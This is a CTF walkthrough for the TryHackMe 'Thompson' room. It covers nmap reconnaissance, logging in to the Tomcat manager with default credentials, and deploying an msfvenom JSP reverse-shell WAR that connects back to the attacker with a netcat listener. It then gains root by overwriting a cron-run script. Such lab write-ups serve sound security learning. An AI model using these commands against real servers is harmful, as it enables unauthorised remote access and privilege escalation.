Thompson Write-up [TryHackMe]

About Thompson:

Difficulty: Easy

Link: https://tryhackme.com/room/bsidesgtthompson

Tags: Windows, Apache Tomat, Privilege Escalation

OSCP Machine — 1

1. Recon

As soon as starting the machine in THM, let's grab that IP and paste it into the browser for any web interface on the default port. This doesn’t show any result so let's start NMAP and see what's happening with the ports.

nmap -sC -sV <IP Address>

Understanding the above command,

• -sV : Probe open ports to determine service/version info
• -sC : Runs default scripts(same as “— script=default”)

From the results, we can see that port 8080 is open and running the Apache Tomcat service.

• 22: ssh using openSSH
• 8009/tcp open ajp13 Apache Jserv
• 8080/tcp open http Apache Tomcat 8.5.5

Let's check what’s in there.

2. Enumeration

Searching “Apache Tomcat 8.5.5” on the internet shows some CVEs that are vulnerable. Now, Let's poke around the features and tabs of the webpage running on port 8080. Here the manager page is asking for credentials which can be found in an error message that generates after clicking the cancel button.

After logging in successfully using the default credentials, In the list applications tab, we can see an interesting feature to deploy a .war file into the server.

So, what if we build a payload with a reverse shell in it and upload it? This may give access to the shell of the server.

3. Initial Foothold

Let's run msfvenom to generate a payload for the “.war” file [Find here]

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=9999 -f war > exploit.war

Upload the generated payload file and start the Netcat listener to get a reverse shell.

nc -lnvp 9999

Successfully connected to the reverse shell

Now we can see the connection is established with the payload we deployed that gave access to the shell on the server(reverse shell). To confirm type “ls” command to see the directories:

With the full control of the target server navigating to /home/jack displays the user.txt file which contains the first flag for this machine.

Let's try to get the root flag also in the same way.

Get Neeraj Ganasala’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

We are not able to retrieve the contents of root.txt, because we don't have permission to read that file. So to read the root flag we need to Escalate our privilege to root.

4. Privilege Escalation

Let's also check the other files id.sh and test.txt

Here we can see that the link between id.sh and test.txt, this must be the work done by cronjob.

So, Let's check the scheduled tasks of cronjob by using the command cat /etc/crontab

We are right, it's a task scheduled by crontab. Now we will overwrite the id.sh file using the below command:

echo ‘cp /root/root.txt /home/jack/root.txt’ > id.sh

This command will replace the contents in id.sh to cp /root/root.txt /home/jack/root.txt. By this, without any privilege, we can make the crontab to do the work that we need.

contents of id.sh

Now, crontab has successfully done the work by copying the contents from /root/root.txt to /home/jack/root.txt which we had access to.

Let’s open the root file.

Now, we have successfully completed the Thompson room in TryHackMe.

Thank you for reading my write-up. Keep Hacking, Keep Learning.